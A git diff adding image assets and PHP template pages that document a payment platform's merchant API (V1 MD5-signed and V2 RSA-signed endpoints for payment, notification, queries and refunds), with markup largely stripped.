differ diff --git a/template/default/assets/images/container_server_icon.png b/template/default/assets/images/container_server_icon.png new file mode 100644 index 0000000..06e7847 Binary files /dev/null and b/template/default/assets/images/container_server_icon.png differ diff --git a/template/default/assets/images/hostingupline.png b/template/default/assets/images/hostingupline.png new file mode 100644 index 0000000..ed723c3 Binary files /dev/null and b/template/default/assets/images/hostingupline.png differ diff --git a/template/default/assets/images/hub.banner.jpg b/template/default/assets/images/hub.banner.jpg new file mode 100644 index 0000000..915e162 Binary files /dev/null and b/template/default/assets/images/hub.banner.jpg differ diff --git a/template/default/assets/images/qqpay.png b/template/default/assets/images/qqpay.png new file mode 100644 index 0000000..8888496 Binary files /dev/null and b/template/default/assets/images/qqpay.png differ diff --git a/template/default/assets/images/server_item.png b/template/default/assets/images/server_item.png new file mode 100644 index 0000000..ba3b8f1 Binary files /dev/null and b/template/default/assets/images/server_item.png differ diff --git a/template/default/assets/images/tenpay.png b/template/default/assets/images/tenpay.png new file mode 100644 index 0000000..bf945b3 Binary files /dev/null and b/template/default/assets/images/tenpay.png differ diff --git a/template/default/assets/images/tese.jpg b/template/default/assets/images/tese.jpg new file mode 100644 index 0000000..0f2ce6e Binary files /dev/null and b/template/default/assets/images/tese.jpg differ diff --git a/template/default/assets/images/tesetubiao.png b/template/default/assets/images/tesetubiao.png new file mode 100644 index 0000000..a066614 Binary files /dev/null and b/template/default/assets/images/tesetubiao.png differ diff --git a/template/default/assets/images/wxpay.png b/template/default/assets/images/wxpay.png new file mode 100644 index 0000000..5c85197 Binary files /dev/null and b/template/default/assets/images/wxpay.png differ diff --git a/template/default/doc.inc.php b/template/default/doc.inc.php new file mode 100644 index 0000000..e9c74a2 --- /dev/null +++ b/template/default/doc.inc.php @@ -0,0 +1,301 @@ +getAll("SELECT * FROM pre_type WHERE status=1 ORDER BY id ASC"); +?> +
    +

    + 协议规则 +

    +

    请求数据格式:application/x-www-form-urlencoded

    +

    返回数据格式:JSON

    +

    签名算法:MD5

    +

    字符编码:UTF-8

    +
    +
    +

    + 页面跳转支付 +

    +

    此接口可用于用户前台直接发起支付,使用form表单跳转或拼接成url跳转。

    +

    URL地址:submit.php

    +

    请求方式:POST 或 GET(推荐POST,不容易被劫持或屏蔽)

    +

    请求参数说明:

    + + + + + + + + + + + + + + +
    字段名变量名必填类型示例值描述
    商户IDpidInt1001
    支付方式typeStringalipay支付方式列表
    商户订单号out_trade_noString20160806151343349
    异步通知地址notify_urlStringhttp://www.pay.com/notify_url.php服务器异步通知地址
    跳转通知地址return_urlStringhttp://www.pay.com/return_url.php页面跳转通知地址
    商品名称nameStringVIP会员如超过127个字节会自动截取
    商品金额moneyString1.00单位:元,最大2位小数
    业务扩展参数paramString没有请留空支付后原样返回
    签名字符串signString202cb962ac59075b964b07152d234b70签名算法点此查看
    签名类型sign_typeStringMD5默认为MD5
    +

    支付方式(type)不传会跳转到收银台支付

    +
    +
    +

    + API接口支付 +

    +

    此接口可用于服务器后端发起支付请求,会返回支付二维码链接或支付跳转url。

    +

    URL地址:mapi.php

    +

    请求方式:POST

    +

    请求参数说明:

    + + + + + + + + + + + + + + + + +
    字段名变量名必填类型示例值描述
    商户IDpidInt1001
    支付方式typeStringalipay支付方式列表
    商户订单号out_trade_noString20160806151343349
    异步通知地址notify_urlStringhttp://www.pay.com/notify_url.php服务器异步通知地址
    跳转通知地址return_urlStringhttp://www.pay.com/return_url.php页面跳转通知地址
    商品名称nameStringVIP会员如超过127个字节会自动截取
    商品金额moneyString1.00单位:元,最大2位小数
    用户IP地址clientipString192.168.1.100用户发起支付的IP地址
    设备类型deviceStringpc根据用户浏览器的UA判断,
    传入用户所使用的浏览器
    或设备类型,默认为pc
    设备类型列表
    业务扩展参数paramString没有请留空支付后原样返回
    签名字符串signString202cb962ac59075b964b07152d234b70签名算法点此查看
    签名类型sign_typeStringMD5默认为MD5
    +

    返回结果(json):

    + + + + + + + + + + +
    字段名变量名类型示例值描述
    返回状态码codeInt11为成功,其它值为失败
    返回信息msgString失败时返回原因
    订单号trade_noString20160806151343349支付订单号
    支付跳转urlpayurlStringpay/wxpay/202010903/如果返回该字段,则直接跳转到该url支付
    二维码链接qrcodeStringweixin://wxpay/bizpayurl?pr=04IPMKM如果返回该字段,则根据该url生成二维码
    小程序跳转urlurlschemeStringweixin://dl/business/?ticket=xxx如果返回该字段,则使用js跳转该url,可发起微信小程序支付
    +

    注:payurl、qrcode、urlscheme 三个参数只会返回其中一个

    +
    +
    +

    + 支付结果通知 +

    +

    通知类型:服务器异步通知(notify_url)、页面跳转通知(return_url)

    +

    请求方式:GET

    +

    请求参数说明:

    + + + + + + + + + + + + + + +
    字段名变量名必填类型示例值描述
    商户IDpidInt1001
    易支付订单号trade_noString20160806151343349021订单号
    商户订单号out_trade_noString20160806151343349商户系统内部的订单号
    支付方式typeStringalipay支付方式列表
    商品名称nameStringVIP会员
    商品金额moneyString1.00
    支付状态trade_statusStringTRADE_SUCCESS只有TRADE_SUCCESS是成功
    业务扩展参数paramString
    签名字符串signString202cb962ac59075b964b07152d234b70签名算法点此查看
    签名类型sign_typeStringMD5默认为MD5
    +

    收到异步通知后,需返回success以表示服务器接收到了订单通知

    +
    +
    +

    + MD5签名算法 +

    + +

    1、将发送或接收到的所有参数按照参数名ASCII码从小到大排序(a-z),sign、sign_type、和空值不参与签名!

    +

    2、将排序后的参数拼接成URL键值对的格式,例如 a=b&c=d&e=f,参数值不要进行url编码。

    +

    3、再将拼接好的字符串与商户密钥KEY进行MD5加密得出sign签名参数,sign = md5 ( a=b&c=d&e=f + KEY ) (注意:+ 为各语言的拼接符,不是字符!),md5结果为小写。

    +

    4、具体签名与发起支付的示例代码可下载SDK查看。

    +
    +
    +

    + 支付方式列表 +

    + + + +'; +} +?> + +
    调用值描述
    '.$row['name'].''.$row['showname'].'
    +
    +
    +

    + 设备类型列表 +

    + + + + + + + + + + +
    调用值描述
    pc电脑浏览器
    mobile手机浏览器
    qq手机QQ内浏览器
    wechat微信内浏览器
    alipay支付宝客户端
    jump仅返回支付跳转url
    +
    +
    +
    +

    + [API]查询商户信息 +

    +

    URL地址:api.php?act=query&pid={商户ID}&key={商户密钥}

    +

    请求参数说明:

    + + + + + + + +
    字段名变量名必填类型示例值描述
    操作类型actStringquery此API固定值
    商户IDpidInt1001
    商户密钥keyString89unJUB8HZ54Hj7x4nUj56HN4nUzUJ8i
    +

    返回结果:

    + + + + + + + + + + + + + + + +
    字段名变量名类型示例值描述
    返回状态码codeInt11为成功,其它值为失败
    商户IDpidInt1001商户ID
    商户密钥keyString(32)89unJUB8HZ54Hj7x4nUj56HN4nUzUJ8i商户密钥
    商户状态activeInt11为正常,0为封禁
    商户余额moneyString0.00商户所拥有的余额
    结算方式typeInt11:支付宝,2:微信,3:QQ,4:银行卡
    结算账号accountStringadmin@pay.com结算的支付宝账号
    结算姓名usernameString张三结算的支付宝姓名
    订单总数ordersInt30订单总数统计
    今日订单order_todayInt15今日订单数量
    昨日订单order_lastdayInt15昨日订单数量
    +
    +
    +

    + [API]查询结算记录 +

    +

    URL地址:api.php?act=settle&pid={商户ID}&key={商户密钥}

    +

    请求参数说明:

    + + + + + + + +
    字段名变量名必填类型示例值描述
    操作类型actStringsettle此API固定值
    商户IDpidInt1001
    商户密钥keyString89unJUB8HZ54Hj7x4nUj56HN4nUzUJ8i
    +

    返回结果:

    + + + + + + + +
    字段名变量名类型示例值描述
    返回状态码codeInt11为成功,其它值为失败
    返回信息msgString查询结算记录成功!
    结算记录dataArray结算记录列表
    +
    +
    +

    + [API]查询单个订单 +

    +

    URL地址:api.php?act=order&pid={商户ID}&key={商户密钥}&out_trade_no={商户订单号}

    +

    请求参数说明:

    + + + + + + + + + +
    字段名变量名必填类型示例值描述
    操作类型actStringorder此API固定值
    商户IDpidInt1001
    商户密钥keyString89unJUB8HZ54Hj7x4nUj56HN4nUzUJ8i
    系统订单号trade_no选择String20160806151343312
    商户订单号out_trade_no选择String20160806151343349
    +

    提示:系统订单号 和 商户订单号 二选一传入即可,如果都传入以系统订单号为准!

    +

    返回结果:

    + + + + + + + + + + + + + + + + + + +
    字段名变量名类型示例值描述
    返回状态码codeInt11为成功,其它值为失败
    返回信息msgString查询订单号成功!
    易支付订单号trade_noString2016080622555342651订单号
    商户订单号out_trade_noString20160806151343349商户系统内部的订单号
    第三方订单号api_trade_noString20160806151343349支付宝微信等接口方订单号
    支付方式typeStringalipay支付方式列表
    商户IDpidInt1001发起支付的商户ID
    创建订单时间addtimeString2016-08-06 22:55:52
    完成交易时间endtimeString2016-08-06 22:55:52
    商品名称nameStringVIP会员
    商品金额moneyString1.00
    支付状态statusInt01为支付成功,0为未支付
    业务扩展参数paramString默认留空
    支付者账号buyerString默认留空
    +
    +
    +

    + [API]批量查询订单 +

    +

    URL地址:api.php?act=orders&pid={商户ID}&key={商户密钥}

    +

    请求参数说明:

    + + + + + + + + + +
    字段名变量名必填类型示例值描述
    操作类型actStringorders此API固定值
    商户IDpidInt1001
    商户密钥keyString89unJUB8HZ54Hj7x4nUj56HN4nUzUJ8i
    查询订单数量limitInt20返回的订单数量,最大50
    页码pageInt1当前查询的页码
    +

    返回结果:

    + + + + + + + +
    字段名变量名类型示例值描述
    返回状态码codeInt11为成功,其它值为失败
    返回信息msgString查询结算记录成功!
    订单列表dataArray订单列表
    +
    +
    +

    + [API]提交订单退款 +

    +

    需要先在商户后台开启订单退款API接口开关,才能调用该接口发起订单退款

    +

    URL地址:api.php?act=refund

    +

    请求方式:POST

    +

    请求参数说明:

    + + + + + + + + + +
    字段名变量名必填类型示例值描述
    商户IDpidInt1001
    商户密钥keyString89unJUB8HZ54Hj7x4nUj56HN4nUzUJ8i
    易支付订单号trade_no特殊可选String20160806151343349021易支付订单号
    商户订单号out_trade_no特殊可选String20160806151343349订单支付时传入的商户订单号,商家自定义且保证商家系统中唯一
    退款金额moneyString1.50少数通道需要与原订单金额一致
    +

    注:trade_no、out_trade_no 不能同时为空,如果都传了以trade_no为准

    +

    返回结果:

    + + + + + + +
    字段名变量名类型示例值描述
    返回状态码codeInt11为成功,其它值为失败
    返回信息msgString退款成功
    +
    + +
    +

    + SDK下载 +

    +
    +SDK.zip
    +SDK版本:V1.3 +
    +
    diff --git a/template/default/doc.php b/template/default/doc.php new file mode 100644 index 0000000..afadc7b --- /dev/null +++ b/template/default/doc.php @@ -0,0 +1,4 @@ + + \ No newline at end of file diff --git a/template/default/doc/index.php b/template/default/doc/index.php new file mode 100644 index 0000000..73c90f2 --- /dev/null +++ b/template/default/doc/index.php @@ -0,0 +1,216 @@ + + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
      +
    • 目录
    • +
    +
    +
    +
      +
      +
      + +
      +
      + +
      +
      + + + +
      +
      +
      + +

      接口说明及规范

      协议规则

      提交数据格式:application/x-www-form-urlencoded

      返回数据格式:JSON

      字符编码:UTF-8

      签名算法:SHA256WithRSA

      V2升级说明

      1、V2接口全面使用 RSA 签名算法;V1接口使用 MD5 签名算法

      2、V2接口改用全新的接口地址,支持退款、代付等功能;V1接口使用submit.php和mapi.php提交订单

      3、V2接口新增timestamp入参和返回值用于校验时间戳

      获取RSA密钥对

      在 商户后台->个人资料->API信息 页面,点击【生成商户RSA密钥对】,生成后注意保存【商户私钥】。对接接口时只需要用到【平台公钥】与【商户私钥】。

      旧版接口文档

      查看V1旧版接口文档

      +
      +
      +
      + + + + \ No newline at end of file diff --git a/template/default/doc/merchant_info.php b/template/default/doc/merchant_info.php new file mode 100644 index 0000000..905eb92 --- /dev/null +++ b/template/default/doc/merchant_info.php @@ -0,0 +1,216 @@ + + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
      +
      +
        +
      • 目录
      • +
      +
      +
      +
        +
        +
        + +
        +
        + +
        +
        + + + +
        +
        +
        + +

        查询商户信息

        请求地址:

        api/merchant/info

        请求方式:

        POST

        请求参数说明:

        字段名变量名必填类型示例值描述
        商户IDpidInt1001
        当前时间戳timestampString172120607210位整数,单位秒
        签名字符串signString 参考签名规则
        签名类型sign_typeStringRSA默认为RSA

        返回参数说明:

        字段名变量名类型示例值描述
        返回状态码codeInt00为成功,其它值为失败
        返回信息msgString 失败或成功时返回提示
        商户IDpidInt1001
        商户状态statusInt10:已封禁,1:正常,2:待审核
        支付状态pay_statusInt10:关闭,1:开启
        结算状态settle_statusInt10:关闭,1:开启
        商户余额moneyString50.00单位:元
        结算方式settle_typeInt1结算方式列表
        结算账户settle_accountStringalipay@alipay.com
        结算账户姓名settle_nameString张三
        订单总数量order_numInt10
        今日订单数量order_num_todayInt3
        昨日订单数量order_num_lastdayInt2
        今日订单收入order_money_todayString45.00单位:元
        昨日订单收入order_money_lastdayString35.00单位:元
        当前时间戳timestampString172120607210位整数,单位秒
        签名字符串signString 参考签名规则
        签名类型sign_typeStringRSA默认为RSA

        结算方式列表

        状态值描述
        1支付宝
        2微信
        3QQ钱包
        4银行卡
        +
        +
        +
        + + + + \ No newline at end of file diff --git a/template/default/doc/merchant_orders.php b/template/default/doc/merchant_orders.php new file mode 100644 index 0000000..19fee80 --- /dev/null +++ b/template/default/doc/merchant_orders.php @@ -0,0 +1,216 @@ + + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
        +
        +
          +
        • 目录
        • +
        +
        +
        +
          +
          +
          + +
          +
          + +
          +
          + + + +
          +
          +
          + +

          查询订单列表

          查询订单列表可用于对账或同步订单状态等

          请求地址:

          api/merchant/orders

          请求方式:

          POST

          请求参数说明:

          字段名变量名必填类型示例值描述
          商户IDpidInt1001
          查询偏移offsetInt0从0开始
          每页条数limitInt50最大不能超过50
          过滤订单状态statusInt10:未支付,1:已支付
          当前时间戳timestampString172120607210位整数,单位秒
          签名字符串signString 参考签名规则
          签名类型sign_typeStringRSA默认为RSA

          返回参数说明:

          字段名变量名类型示例值描述
          返回状态码codeInt00为成功,其它值为失败
          返回信息msgString 失败或成功时返回提示
          订单列表dataArray 具体参数可参考订单查询
          当前时间戳timestampString172120607210位整数,单位秒
          签名字符串signString 参考签名规则
          签名类型sign_typeStringRSA默认为RSA
          +
          +
          +
          + + + + \ No newline at end of file diff --git a/template/default/doc/pay_create.php b/template/default/doc/pay_create.php new file mode 100644 index 0000000..b882c80 --- /dev/null +++ b/template/default/doc/pay_create.php @@ -0,0 +1,241 @@ + + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
          +
          +
            +
          • 目录
          • +
          +
          +
          +
            +
            +
            + +
            +
            + +
            +
            + + + +
            +
            +
            + +

            统一下单接口

            此接口可用于服务器后端发起支付请求,会返回支付二维码链接、支付跳转url等。

            请求地址:

            api/pay/create

            请求方式:

            POST

            请求参数说明:

            字段名变量名必填类型示例值描述
            商户IDpidInt1001
            接口类型methodStringweb接口类型列表
            设备类型deviceStringpc仅通用网页支付需要传 设备类型列表
            支付方式typeStringalipay支付方式列表
            商户订单号out_trade_noString20160806151343349
            异步通知地址notify_urlStringhttp://www.pay.com/notify_url.php服务器异步通知地址
            跳转通知地址return_urlStringhttp://www.pay.com/return_url.php页面跳转通知地址
            商品名称nameStringVIP会员如超过127个字节会自动截取
            商品金额moneyString1.00单位:元,最大2位小数
            用户IP地址clientipString192.168.1.100用户发起支付的IP地址
            业务扩展参数paramString没有请留空支付后原样返回
            被扫支付授权码auth_codeString 仅被扫支付需要传
            用户Openidsub_openidString 仅JSAPI支付需要传
            公众号AppIdsub_appidString 仅JSAPI支付需要传
            当前时间戳timestampString172120607210位整数,单位秒
            签名字符串signString 参考签名规则
            签名类型sign_typeStringRSA默认为RSA

            返回参数说明:

            字段名变量名类型示例值描述
            返回状态码codeInt00为成功,其它值为失败
            错误信息msgString 失败时返回原因
            平台订单号trade_noString20160806151343349平台内部的订单号
            发起支付类型pay_typeStringjump参考 发起支付类型说明
            发起支付参数pay_infoStringweixin://wxpay/bizpayurl?pr=04IPMKM根据不同的发起支付类型,返回内容也不一样
            当前时间戳timestampString172120607210位整数,单位秒
            签名字符串signString 参考签名规则
            签名类型sign_typeStringRSA默认为RSA

            返回示例:

            {
            +    "code": 0,
            +    "trade_no": "20160806151343349",
            +    "pay_type": "qrcode",
            +    "pay_info": "weixin://wxpay/bizpayurl?pr=04IPMKM"
            +}
            {
            +    "code": 0,
            +    "trade_no": "20160806151343351",
            +    "pay_type": "jsapi",
            +    "pay_info": "{\"appId\":\"wx2421b1c4370ec43b\",\"timeStamp\":\"1395712654\",\"nonceStr\":\"e61463f8efa94090b1f366cccfbbb444\",\"package\":\"prepay_id=up_wx21201855730335ac86f8c43d1889123400\",\"signType\":\"RSA\",\"paySign\":\"oR9d8PuhnIc+YZ8cBHFCwfgpaK9gd7vaRvkYD7rthRAZ\"}"
            +}
            {
            +    "code": 0,
            +    "trade_no": "2024072320222180092",
            +    "pay_type": "scan",
            +    "pay_info": "{\"type\":\"wxpay\",\"trade_no\":\"2024072320222180092\",\"api_trade_no\":\"4200002345202407238253501450\",\"buyer\":\"o9uAcc6VlZxhcujpKIqQuWWoDQc\",\"money\":\"1.00\"}"
            +}
            {
            +    "code": 0,
            +    "trade_no": "2024072320222180018",
            +    "pay_type": "wxplugin",
            +    "pay_info": "{\"appId\":\"wxc237fd59fbb634ae\",\"supplierId\":\"123456\",\"shopId\":\"123456\",\"orderId\":\"2024072320222180092\"}"
            +}
            {
            +    "code": 0,
            +    "trade_no": "2024072320222180018",
            +    "pay_type": "wxapp",
            +    "pay_info": "{\"appId\":\"wxbb48bac536053072\",\"miniProgramId\":\"gh_bf9cd8cf50b5\",\"path\":\"pages/fromAppPay/index?orderid=123456\",\"extraData\":\"\"}"
            +}

            接口类型列表

            调用值描述
            web通用网页支付(会根据device判断,自动
            返回跳转url/二维码/小程序跳转url等)
            jump跳转支付(仅会返回跳转url)
            jsapiJSAPI支付(小程序内支付使用,仅返回JSAPI参数,
            需传入sub_openid和sub_appid参数)
            appAPP支付(iOS/安卓APP内支付使用,
            仅返回APP支付参数,或APP拉起微信小程序参数)
            scan付款码支付(需传入auth_code参数,
            支付成功后返回订单信息)
            applet小程序支付(微信小程序内使用,
            返回微信小程序插件参数或跳转小程序参数)

            设备类型列表

            调用值描述
            pc电脑浏览器(默认)
            mobile手机浏览器
            qq手机QQ内浏览器
            wechat微信内浏览器
            alipay支付宝客户端

            发起支付类型说明

            发起支付类型描述
            jump返回支付跳转url
            html返回html代码,用于支付跳转
            qrcode返回支付二维码
            urlscheme返回微信/支付宝小程序跳转url scheme
            jsapi返回用于发起JSAPI支付的参数
            app返回用于发起APP支付的参数
            scan付款码支付成功,返回支付订单信息
            wxplugin返回要拉起的微信小程序插件参数,
            用于未开通支付能力的小程序发起支付,
            wxapp返回要拉起的微信小程序和路径,
            用于APP内拉起微信小程序支付

            其他说明:

            • 代码中需根据接口返回的pay_type值来展示具体的支付页面,例如扫码页面等。如果不懂怎么展示支付页面,可在method传入jump,这样pay_type就只会返回jump,直接跳转支付即可。
            • 付款码支付可不传支付类型type字段,会根据auth_code的数字自动判断支付类型。
            • 微信小程序插件支付,不同支付平台拉起支付方式不一样,可联系客服获取对接小程序插件的文档。
            • APP拉起微信小程序可参考微信官方文档
            +
            +
            +
            + + + + \ No newline at end of file diff --git a/template/default/doc/pay_notify.php b/template/default/doc/pay_notify.php new file mode 100644 index 0000000..33aef89 --- /dev/null +++ b/template/default/doc/pay_notify.php @@ -0,0 +1,216 @@ + + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
            +
            +
              +
            • 目录
            • +
            +
            +
            +
              +
              +
              + +
              +
              + +
              +
              + + + +
              +
              +
              + +

              支付结果通知

              通知类型:

              服务器异步通知(notify_url)、页面跳转通知(return_url)

              请求方式:

              GET

              请求参数说明:

              字段名变量名类型示例值描述
              商户IDpidInt1001
              平台订单号trade_noString20160806151343349
              商户订单号out_trade_noString20160806151343351
              接口订单号api_trade_noString40001249985198893微信支付宝返回的单号
              支付方式typeStringalipay支付方式列表
              交易状态trade_statusStringTRADE_SUCCESS固定为TRADE_SUCCESS
              订单创建时间addtimeString2024-07-01 16:47:32
              订单完成时间endtimeString2024-07-01 16:49:24仅完成才返回
              商品名称nameString
              商品金额moneyString1.00
              业务扩展参数paramString
              支付用户标识buyerString 一般为openid
              当前时间戳timestampString172120607210位整数,单位秒
              签名字符串signString 参考签名规则
              签名类型sign_typeStringRSA默认为RSA

              返回内容说明:

              收到异步通知后,需返回success以表示服务器接收到了订单通知

              其他说明:

              • 商户系统代码内务必对返回的签名sign进行校验,并且判断trade_status的值是否等于TRADE_SUCCESS
              • 支付平台可能会增加回调字段,验证签名时必须支持增加的扩展字段
              +
              +
              +
              + + + + \ No newline at end of file diff --git a/template/default/doc/pay_query.php b/template/default/doc/pay_query.php new file mode 100644 index 0000000..7dc644e --- /dev/null +++ b/template/default/doc/pay_query.php @@ -0,0 +1,216 @@ + + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
              +
              +
                +
              • 目录
              • +
              +
              +
              +
                +
                +
                + +
                +
                + +
                +
                + + + +
                +
                +
                + +

                订单查询

                请求地址:

                api/pay/query

                请求方式:

                POST

                请求参数说明:

                字段名变量名必填类型示例值描述
                商户IDpidInt1001
                平台订单号trade_no特殊String20160806151343349与商户订单号必传其一
                商户订单号out_trade_no特殊String20160806151343351与平台订单号必传其一
                当前时间戳timestampString172120607210位整数,单位秒
                签名字符串signString 参考签名规则
                签名类型sign_typeStringRSA默认为RSA

                返回参数说明:

                字段名变量名类型示例值描述
                返回状态码codeInt00为成功,其它值为失败
                错误信息msgString 失败时返回原因
                平台订单号trade_noString20160806151343349
                商户订单号out_trade_noString20160806151343351
                接口订单号api_trade_noString40001249985198893微信支付宝返回的单号
                支付方式typeStringalipay支付方式列表
                支付状态statusInt1支付状态列表
                商户IDpidInt1001
                订单创建时间addtimeString2024-07-01 16:47:32
                订单完成时间endtimeString2024-07-01 16:49:24仅完成才返回
                商品名称nameString
                商品金额moneyString1.00
                已退款金额refundmoneyString 仅部分退款情况才返回
                业务扩展参数paramString
                支付用户标识buyerString 一般为openid
                支付用户IPclientipString
                当前时间戳timestampString172120607210位整数,单位秒
                签名字符串signString 参考签名规则
                签名类型sign_typeStringRSA默认为RSA

                支付状态列表

                状态值描述
                0未支付
                1已支付
                2已退款
                3已冻结
                4预授权
                +
                +
                +
                + + + + \ No newline at end of file diff --git a/template/default/doc/pay_refund.php b/template/default/doc/pay_refund.php new file mode 100644 index 0000000..9644e69 --- /dev/null +++ b/template/default/doc/pay_refund.php @@ -0,0 +1,216 @@ + + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
                +
                +
                  +
                • 目录
                • +
                +
                +
                +
                  +
                  +
                  + +
                  +
                  + +
                  +
                  + + + +
                  +
                  +
                  + +

                  订单退款

                  需要先在商户后台开启订单退款API接口开关,才能调用该接口发起订单退款

                  请求地址:

                  api/pay/refund

                  请求方式:

                  POST

                  请求参数说明:

                  字段名变量名必填类型示例值描述
                  商户IDpidInt1001
                  平台订单号trade_no特殊String20160806151343349与商户订单号必传其一
                  商户订单号out_trade_no特殊String20160806151343351与平台订单号必传其一
                  退款金额moneyString1.00单位:元
                  商户退款单号out_refund_noString20160806151343391可避免出现重复请求退款
                  当前时间戳timestampString172120607210位整数,单位秒
                  签名字符串signString 参考签名规则
                  签名类型sign_typeStringRSA默认为RSA

                  返回参数说明:

                  字段名变量名类型示例值描述
                  返回状态码codeInt00为成功,其它值为失败
                  返回信息msgString 失败或成功时返回提示
                  平台退款单号refund_noString20160806151343349
                  商户退款单号out_refund_noString20160806151343351
                  平台订单号trade_noString20160806151343349
                  退款金额moneyString
                  扣减商户余额reducemoneyString
                  当前时间戳timestampString172120607210位整数,单位秒
                  签名字符串signString 参考签名规则
                  签名类型sign_typeStringRSA默认为RSA

                  其他说明:

                  • 少数插件对接的第三方平台不支持部分金额退款
                  +
                  +
                  +
                  + + + + \ No newline at end of file diff --git a/template/default/doc/pay_refundquery.php b/template/default/doc/pay_refundquery.php new file mode 100644 index 0000000..1560aa7 --- /dev/null +++ b/template/default/doc/pay_refundquery.php @@ -0,0 +1,216 @@ + + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
                  +
                  +
                    +
                  • 目录
                  • +
                  +
                  +
                  +
                    +
                    +
                    + +
                    +
                    + +
                    +
                    + + + +
                    +
                    +
                    + +

                    订单退款查询

                    请求地址:

                    api/pay/refundquery

                    请求方式:

                    POST

                    请求参数说明:

                    字段名变量名必填类型示例值描述
                    商户IDpidInt1001
                    平台退款单号refund_no特殊String20160806151343349与商户退款单号必传其一
                    商户退款单号out_refund_no特殊String20160806151343351与平台退款单号必传其一
                    当前时间戳timestampString172120607210位整数,单位秒
                    签名字符串signString 参考签名规则
                    签名类型sign_typeStringRSA默认为RSA

                    返回参数说明:

                    字段名变量名类型示例值描述
                    返回状态码codeInt00为成功,其它值为失败
                    错误信息msgString 失败时返回提示
                    平台退款单号refund_noString20160806151343349
                    商户退款单号out_refund_noString20160806151343351
                    平台订单号trade_noString20160806151343349
                    商户订单号out_trade_noString20160806151343351
                    退款金额moneyString
                    扣减商户余额reducemoneyString
                    退款状态statusInt 0:失败,1:成功
                    退款时间addtimeString2024-07-01 16:47:32
                    当前时间戳timestampString172120607210位整数,单位秒
                    签名字符串signString 参考签名规则
                    签名类型sign_typeStringRSA默认为RSA
                    +
                    +
                    +
                    + + + + \ No newline at end of file diff --git a/template/default/doc/pay_submit.php b/template/default/doc/pay_submit.php new file mode 100644 index 0000000..b465a16 --- /dev/null +++ b/template/default/doc/pay_submit.php @@ -0,0 +1,216 @@ + + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
                    +
                    +
                      +
                    • 目录
                    • +
                    +
                    +
                    +
                      +
                      +
                      + +
                      +
                      + +
                      +
                      + + + +
                      +
                      +
                      + +

                      页面跳转支付

                      此接口可用于用户前台直接发起支付,使用form表单跳转或拼接成url跳转。

                      请求地址:

                      api/pay/submit

                      请求方式:

                      POST 或 GET(推荐POST,不容易被劫持)

                      请求参数说明:

                      字段名变量名必填类型示例值描述
                      商户IDpidInt1001
                      支付方式typeStringalipay支付方式列表
                      商户订单号out_trade_noString20160806151343349
                      异步通知地址notify_urlStringhttp://www.pay.com/notify_url.php服务器异步通知地址
                      跳转通知地址return_urlStringhttp://www.pay.com/return_url.php页面跳转通知地址
                      商品名称nameStringVIP会员如超过127个字节会自动截取
                      商品金额moneyString1.00单位:元,最大2位小数
                      业务扩展参数paramString没有请留空支付后原样返回
                      当前时间戳timestampString172120607210位整数,单位秒
                      签名字符串signString 参考签名规则
                      签名类型sign_typeStringRSA默认为RSA

                      其他说明:

                      • 支付方式(type)不传会跳转到收银台支付
                      +
                      +
                      +
                      + + + + \ No newline at end of file diff --git a/template/default/doc/paytype.php b/template/default/doc/paytype.php new file mode 100644 index 0000000..167d9eb --- /dev/null +++ b/template/default/doc/paytype.php @@ -0,0 +1,223 @@ +getAll("SELECT * FROM pre_type WHERE status=1 ORDER BY id ASC"); +?> + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
                      +
                      +
                        +
                      • 目录
                      • +
                      +
                      +
                      +
                        +
                        +
                        + +
                        +
                        + +
                        +
                        + + + +
                        +
                        +
                        + +

                        支付方式列表

                        +'; +} +?> +
                        调用值描述
                        '.$row['name'].''.$row['showname'].'
                        +
                        +
                        +
                        + + + + \ No newline at end of file diff --git a/template/default/doc/sdk.php b/template/default/doc/sdk.php new file mode 100644 index 0000000..c21b690 --- /dev/null +++ b/template/default/doc/sdk.php @@ -0,0 +1,216 @@ + + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
                        +
                        +
                          +
                        • 目录
                        • +
                        +
                        +
                        +
                          +
                          +
                          + +
                          +
                          + +
                          +
                          + + + +
                          +
                          +
                          + +

                          SDK下载

                          PHP-SDK

                          SDK.zip

                          版本:V2.0

                          +
                          +
                          +
                          + + + + \ No newline at end of file diff --git a/template/default/doc/sign_note.php b/template/default/doc/sign_note.php new file mode 100644 index 0000000..4b7cb08 --- /dev/null +++ b/template/default/doc/sign_note.php @@ -0,0 +1,216 @@ + + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
                          +
                          +
                            +
                          • 目录
                          • +
                          +
                          +
                          +
                            +
                            +
                            + +
                            +
                            + +
                            +
                            + + + +
                            +
                            +
                            + +

                            签名规则

                            签名步骤

                            对本平台接口发起的请求,需要进行签名。

                            1、获取请求报文所有非空请求参数,不包括数组、字节类型参数,如文件、字节流,剔除signsign_type字段,并按照第一个字符的键值ASCII码递增排序(字母升序排序),如果遇到相同字符则按照第二个字符的键值ASCII码递增排序,以此类推。

                            2、将排序后的参数和对应值,组合成“参数=参数值”的格式,并且把这些参数用 & 字符连接起来,此时生成的字符串为待签名字符串。

                            3、使用商户私钥,对待签名字符串计算RSA签名(SHA256WithRSA),得到签名sign。

                            验签步骤

                            针对接口返回的数据,以及异步通知回调的数据,需进行验签。

                            1、先根据签名步骤里面的1~2,获取到待签名字符串。

                            2、使用平台公钥,根据签名字符串sign,对待签名字符串与进行RSA验签(SHA256WithRSA)

                            注意事项

                            1、商户私钥(private key)需填写到代码中供签名时使用。生成的私钥需妥善保管,避免遗失,不要泄露。

